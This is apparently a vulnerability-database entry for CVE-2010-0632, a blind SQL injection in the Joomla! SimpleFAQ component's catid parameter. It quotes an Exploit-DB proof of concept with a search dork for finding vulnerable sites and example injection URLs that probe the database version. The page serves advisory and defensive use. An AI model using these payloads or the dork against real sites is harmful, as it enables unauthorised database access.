CVE-2010-0632

high

Published 2010-02-12 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in the Parkview Consultants SimpleFAQ (com_simplefaq) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in a display action to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11294 webapps php verified text · 1 KB

AtT4CKxT3rR0r1ST · 2010-01-30

Joomla! Component com_simplefaq - 'catid' Blind SQL Injection

text exploit Source: Exploit-DB

Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability
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.:. Author : AtT4CKxT3rR0r1ST
.:. Team : Sec Attack Team
.:. Email : F.Hack@w.cn
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_simplefaq
.:. Script Download: http://www.parkviewconsultants.com/component/option,com_mosipn/page,free/
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:"com_simplefaq"
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===[ Exploit ]===

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70[Blind Injection]&page=1#FAQ5

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

www.site.com/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False


===[ Example ]===

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=5&page=1#FAQ5 >>>> True

http://server/index.php?option=com_simplefaq&func=display&Itemid=49&catid=70+and substring(@@version,1,1)=4&page=1#FAQ5 >>>> False

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Application impact

Vendor	Product	Versions	Fixed
parkviewconsultants	com_simplefaq
joomla	joomla\!

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.